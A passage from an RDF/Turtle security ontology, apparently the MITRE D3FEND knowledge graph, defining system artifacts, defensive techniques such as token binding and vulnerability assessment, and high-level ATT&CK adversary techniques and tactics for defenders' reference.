    d3f:synonym "Controller Cycle Count" ;
    rdfs:comment "In most controllers this is not a default tag rather something that should be programmed." ;
    rdfs:subClassOf d3f:SystemPlatformVariable .

d3f:SystemConfigSystemCall a owl:Class ;
    rdfs:label "System Config System Call" ;
    rdfs:subClassOf d3f:SystemCall .

d3f:SystemDependency a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Dependency" ;
    d3f:definition "A system dependency indicates a system has an activity, agent, or another system which relies on it in order to be functional." ;
    rdfs:seeAlso <https://dl.acm.org/doi/10.1145/960116.53994>,
        <https://r-docs.synapse.org/articles/systemDependencies.html>,
        <https://www.ibm.com/docs/en/taddm/7.3.0?topic=model-dependencies-between-resources> ;
    rdfs:subClassOf d3f:Dependency .

d3f:SystemInitScript a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Init Script" ;
    d3f:definition "A script used to initialize and configure elements of the system's environment, applications, services, or its operating system." ;
    rdfs:subClassOf d3f:ExecutableScript,
        d3f:SystemConfigurationInitResource,
        d3f:SystemInitConfiguration .

d3f:SystemSoftware a owl:Class ;
    rdfs:label "System Software" ;
    d3f:definition "Computer software which enables operating system or platform functionality." ;
    rdfs:subClassOf d3f:Software .

d3f:SystemStartupDirectory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Startup Directory" ;
    d3f:definition "A system startup directory is a directory containing executable files or links to executable files which are run when the system starts." ;
    rdfs:subClassOf d3f:Directory,
        d3f:SystemConfigurationInitResource,
        d3f:SystemInitConfiguration .

d3f:SystemStateImage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System State Image" ;
    d3f:definition "In computing, a system image is a serialized copy of the entire state of a computer system stored in some non-volatile form, such as a binary executable file." ;
    rdfs:isDefinedBy <https://en.wikipedia.org/wiki/System_image> ;
    rdfs:seeAlso <https://dbpedia.org/resource/System_Image> ;
    rdfs:subClassOf d3f:StorageImage ;
    skos:altLabel "System Image" .

d3f:SystemTimeApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Time Application" ;
    d3f:definition "A system time utility is utility software that can get the system time, such as the Unix date command or Windows' Net utility." ;
    rdfs:subClassOf d3f:UtilitySoftware .

d3f:SystemVulnerabilityAssessment a d3f:SystemVulnerabilityAssessment,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Vulnerability Assessment" ;
    d3f:d3fend-id "D3-SYSVA" ;
    d3f:definition "System vulnerability assessment relates all the vulnerabilities of a system's components in the context of their configuration and internal dependencies and can also include assessing risk emerging from the system's design as a whole, not just the sum of individual component vulnerabilities." ;
    d3f:evaluates d3f:DigitalSystem ;
    d3f:identifies d3f:Vulnerability ;
    d3f:kb-reference d3f:Reference-SoftwareVulnerabilityGraphDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:Vulnerability ],
        [ a owl:Restriction ;
            owl:onProperty d3f:evaluates ;
            owl:someValuesFrom d3f:DigitalSystem ],
        d3f:SystemMapping .

d3f:T1016 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Network Configuration Discovery" ;
    d3f:attack-id "T1016" ;
    d3f:definition "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103)." ;
    d3f:may-execute d3f:ExecutableScript ;
    d3f:may-invoke d3f:CreateProcess,
        d3f:GetSystemNetworkConfigValue ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-execute ;
            owl:someValuesFrom d3f:ExecutableScript ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetSystemNetworkConfigValue ],
        d3f:DiscoveryTechnique .

d3f:T1074 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Staged" ;
    d3f:attack-id "T1074" ;
    d3f:definition "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)" ;
    d3f:reads d3f:Resource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:Resource ],
        d3f:CollectionTechnique .

d3f:T1087.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Account" ;
    d3f:attack-id "T1087.002" ;
    d3f:definition "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges." ;
    d3f:enumerates d3f:DomainUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enumerates ;
            owl:someValuesFrom d3f:DomainUserAccount ],
        d3f:T1087 .

d3f:T1132 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Encoding" ;
    d3f:attack-id "T1132" ;
    d3f:definition "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1176 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Extensions" ;
    d3f:attack-id "T1176" ;
    d3f:definition "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)" ;
    d3f:modifies d3f:BrowserExtension ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:BrowserExtension ],
        d3f:PersistenceTechnique .

d3f:T1205 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Traffic Signaling" ;
    d3f:attack-id "T1205" ;
    d3f:definition "Adversaries use traffic signaling techniques, such as sending specific network sequences or magic packets, to covertly trigger actions like opening ports, activating backdoors, or installing filters, facilitating command and control, persistence, and defense evasion." ;
    d3f:produces d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:CommandAndControlTechnique,
        d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique .

d3f:T1216 a owl:Class ;
    rdfs:label "System Script Proxy Execution" ;
    d3f:attack-id "T1216" ;
    d3f:definition "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1222 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File and Directory Permissions Modification" ;
    d3f:attack-id "T1222" ;
    d3f:definition "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.)." ;
    d3f:modifies d3f:AccessControlConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AccessControlConfiguration ],
        d3f:DefenseEvasionTechnique .

d3f:T1406 a owl:Class ;
    rdfs:label "Obfuscated Files or Information - ATTACK Mobile" ;
    d3f:attack-id "T1406" ;
    d3f:definition "Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Obfuscated Files or Information" .

d3f:T1417 a owl:Class ;
    rdfs:label "Input Capture - ATTACK Mobile" ;
    d3f:attack-id "T1417" ;
    d3f:definition "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Keylogging](https://attack.mitre.org/techniques/T1417/001)) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. [GUI Input Capture](https://attack.mitre.org/techniques/T1417/002))." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCredentialAccessTechnique ;
    skos:prefLabel "Input Capture" .

d3f:T1422 a owl:Class ;
    rdfs:label "System Network Configuration Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1422" ;
    d3f:definition "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of devices they access or through information discovery of remote systems." ;
    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "System Network Configuration Discovery" .

d3f:T1430 a owl:Class ;
    rdfs:label "Location Tracking - ATTACK Mobile" ;
    d3f:attack-id "T1430" ;
    d3f:definition "Adversaries may track a device’s physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "Location Tracking" .

d3f:T1480 a owl:Class ;
    rdfs:label "Execution Guardrails" ;
    d3f:attack-id "T1480" ;
    d3f:definition "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1484 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain or Tenant Policy Modification" ;
    d3f:attack-id "T1484" ;
    d3f:definition "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation." ;
    d3f:modifies d3f:GroupPolicy ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:GroupPolicy ],
        d3f:DefenseEvasionTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1491 a owl:Class ;
    rdfs:label "Defacement" ;
    d3f:attack-id "T1491" ;
    d3f:definition "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages." ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1543.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows Service" ;
    d3f:attack-id "T1543.003" ;
    d3f:definition "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry." ;
    d3f:modifies d3f:SystemConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1543 .

d3f:T1547.011 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Plist Modification" ;
    d3f:attack-id "T1547.011" ;
    d3f:definition "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)" ;
    d3f:modifies d3f:ApplicationConfigurationFile ;
    rdfs:comment "This technique has been revoked by T1647" ;
    rdfs:seeAlso d3f:T1647 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ApplicationConfigurationFile ],
        d3f:T1547 ;
    owl:deprecated true .

d3f:T1548.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Sudo and Sudo Caching" ;
    d3f:attack-id "T1548.003" ;
    d3f:definition "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges." ;
    d3f:may-modify d3f:EventLog ;
    d3f:modifies d3f:OperatingSystemConfigurationFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:EventLog ],
        d3f:T1548 .

d3f:T1561 a owl:Class ;
    rdfs:label "Disk Wipe" ;
    d3f:attack-id "T1561" ;
    d3f:definition "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted." ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1563 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Service Session Hijacking" ;
    d3f:accesses d3f:RemoteSession ;
    d3f:attack-id "T1563" ;
    d3f:definition "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service." ;
    d3f:produces d3f:AdministrativeNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:RemoteSession ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:AdministrativeNetworkTraffic ],
        d3f:LateralMovementTechnique .

d3f:T1597 a owl:Class ;
    rdfs:label "Search Closed Sources" ;
    d3f:attack-id "T1597" ;
    d3f:definition "Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)" ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1600 a owl:Class ;
    rdfs:label "Weaken Encryption" ;
    d3f:attack-id "T1600" ;
    d3f:definition "Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1601 a owl:Class ;
    rdfs:label "Modify System Image" ;
    d3f:attack-id "T1601" ;
    d3f:definition "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1602 a owl:Class ;
    rdfs:label "Data from Configuration Repository" ;
    d3f:attack-id "T1602" ;
    d3f:definition "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices." ;
    rdfs:subClassOf d3f:CollectionTechnique .

d3f:T1606 a owl:Class ;
    rdfs:label "Forge Web Credentials" ;
    d3f:attack-id "T1606" ;
    d3f:definition "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access." ;
    rdfs:subClassOf d3f:CredentialAccessTechnique .

d3f:TA0001 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Initial Access" ;
    d3f:definition """The adversary is trying to get into your network.

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.""" ;
    d3f:display-order 1 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0002 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Execution" ;
    d3f:definition """The adversary is trying to run malicious code.

Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.""" ;
    d3f:display-order 2 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0003 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Persistence" ;
    d3f:definition """The adversary is trying to maintain their foothold.

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.""" ;
    d3f:display-order 3 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0006 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Access" ;
    d3f:definition """The adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.""" ;
    d3f:display-order 6 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0007 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Discovery" ;
    d3f:definition """The adversary is trying to figure out your environment.

Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what's around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.""" ;
    d3f:display-order 7 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0008 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Lateral Movement" ;
    d3f:definition """The adversary is trying to move through your environment.

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.""" ;
    d3f:display-order 8 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0009 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Collection" ;
    d3f:definition """The adversary is trying to gather data of interest to their goal.

Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to either steal (exfiltrate) the data or to use the data to gain more information about the target environment. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.""" ;
    d3f:display-order 9 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0010 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration" ;
    d3f:definition """The adversary is trying to steal data.

Exfiltration consists of techniques that adversaries may use to steal data from your network. Once they've collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.""" ;
    d3f:display-order 11 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0011 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command And Control" ;
    d3f:definition """The adversary is trying to communicate with compromised systems to control them.

Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim's network structure and defenses.""" ;
    d3f:display-order 10 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0040 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impact" ;
    d3f:definition """The adversary is trying to manipulate, interrupt, or destroy your systems and data.

Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.""" ;
    d3f:display-order 12 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0042 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Development" ;
    d3f:definition """The adversary is trying to establish resources they can use to support operations.

Resource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.""" ;
    d3f:display-order 0 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0043 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reconnaissance" ;
    d3f:definition """The adversary is trying to gather information they can use to plan future operations.

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.""" ;
    d3f:display-order -1 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TFTPNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "TFTP Network Traffic" ;
    d3f:definition "TFTP Network Traffic is network traffic typically used to automatically transfer configuration or boot files between machines." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:TerminateProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Terminate Process" ;
    d3f:definition "On many computer operating systems, a computer process terminates its execution by making an exit system call. More generally, an exit in a multithreading environment means that a thread of execution has stopped running. For resource management, the operating system reclaims resources (memory, files, etc.) that were used by the process. The process is said to be a dead process after it terminates." ;
    d3f:terminates d3f:Process ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Exit_(system_call)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:terminates ;
            owl:someValuesFrom d3f:Process ],
        d3f:SystemCall .

d3f:TestExecutionTool a owl:Class ;
    rdfs:label "Test Execution Tool" ;
    d3f:definition "A test execution tool is a type of software used to test software, hardware or complete systems.  Synonyms of test execution tool include test execution engine, test executive, test manager, test sequencer.  Two common forms in which a test execution engine may appear are as a: (a) module of a test software suite (test bench) or an integrated development environment, or (b) stand-alone application software." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Test_execution_engine> ;
    rdfs:subClassOf d3f:DeveloperApplication ;
    skos:altLabel "Test Execution Engine",
        "Test Executive",
        "Test Manager" .

d3f:TimeSeriesDatabase a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Time Series Database" ;
    d3f:definition "A specialized database optimized for storing and retrieving time-stamped data." ;
    rdfs:subClassOf d3f:Database .

d3f:Token-basedAuthentication a d3f:Token-basedAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Token-based Authentication" ;
    d3f:d3fend-id "D3-TBA" ;
    d3f:definition "Token-based authentication is an authentication protocol where users verify their identity in exchange for a unique access token. Users can then access the website, application, or resource for the life of the token without having to re-enter their credentials." ;
    d3f:kb-article """## How it works

Token-based authentication starts with a user logging into a system, device or application, typically using a password or a security question. An authorization server validates that initial authentication and then issues an access token, which is a small piece of data that lets a client application make a secure call or signal to an API server. Once this initial token-based authentication protocol is completed, the token works like a stamped ticket: The user can continue to seamlessly access the relevant resources, without re-authenticating, for the duration of the token lifecycle. That lifecycle ends when the user logs out or quits an app — and can also be triggered by a set time-out protocol.

## Considerations:

While token-based authentication is undoubtedly a major step above traditional password-based authentication, the token is still considered a “bearer token” — that is, access is granted to whomever holds the token.""" ;
    d3f:kb-reference d3f:Reference-Entrust-What-Is-Token-Based-Authentication ;
    d3f:uses d3f:AccessToken ;
    rdfs:isDefinedBy <https://www.entrust.com/resources/learn/what-is-token-based-authentication> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:AgentAuthentication .

d3f:TokenBinding a d3f:TokenBinding,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Token Binding" ;
    d3f:d3fend-id "D3-TB" ;
    d3f:definition "Token binding is a security mechanism used to enhance the protection of tokens, such as cookies or OAuth tokens, by binding them to a specific connection." ;
    d3f:kb-article """## How it works

When issuing a security token to a client that supports Token Binding, a server includes the client's Token Binding ID (or its cryptographic hash) in the token. Later on, when a client presents a security token containing a Token Binding ID, the server verifies that the ID in the token matches the ID of the Token Binding established with the client. In the case of a mismatch, the server rejects the token.

## Considerations

- While industry participation in the standards process is widespread, browser support remains limited.
- In practice, token-binding implementations are tied to Transport Security Layer (TLS).""" ;
    d3f:kb-reference d3f:Reference-RFC8471TheTokenBindingProtocolVersion1.0 ;
    d3f:strengthens d3f:AccessToken ;
    rdfs:seeAlso <http://dbpedia.org/resource/Token_Binding> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:strengthens ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:CredentialHardening .

d3f:TraceProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Trace Process" ;
    d3f:definition "A trace system call provides a means by which one process (the \"tracer\") may observe and control the execution of another process (the \"tracee\"), and examine and change the tracee's memory and registers. It is primarily used to implement breakpoint debugging and system call tracing." ;
    d3f:monitors d3f:Process ;
    rdfs:seeAlso <https://dbpedia.org/resource/Ptrace>,
        <https://linux.die.net/man/2/ptrace> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:Process ],
        d3f:SystemCall ;
    skos:altLabel "Open Process" .

d3f:TraceThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Trace Thread" ;
    rdfs:subClassOf d3f:SystemCall .

d3f:TransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transfer Learning" ;
    d3f:d3fend-id "D3A-TL" ;
    d3f:definition "Transfer learning (TL) is a research problem in machine learning (ML) that focuses on storing knowledge gained while solving one problem and applying it to a different but related problem." ;
    d3f:kb-article """## References
Transfer learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Transfer_learning).""" ;
    rdfs:seeAlso <https://arxiv.org/abs/1808.01974>,
        <https://arxiv.org/abs/1911.02685>,
        <https://journalofbigdata.springeropen.com/articles/10.1186/s40537-016-0043-6> ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:TranslationLookasideBuffer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Translation Lookaside Buffer" ;
    d3f:definition "A translation lookaside buffer (TLB) is a memory cache that is used to reduce the time taken to access a user memory location. It is a part of the chip's memory-management unit (MMU)." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Translation_lookaside_buffer> ;
    rdfs:subClassOf d3f:MemoryManagementUnitComponent .

d3f:Transmitter a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transmitter" ;
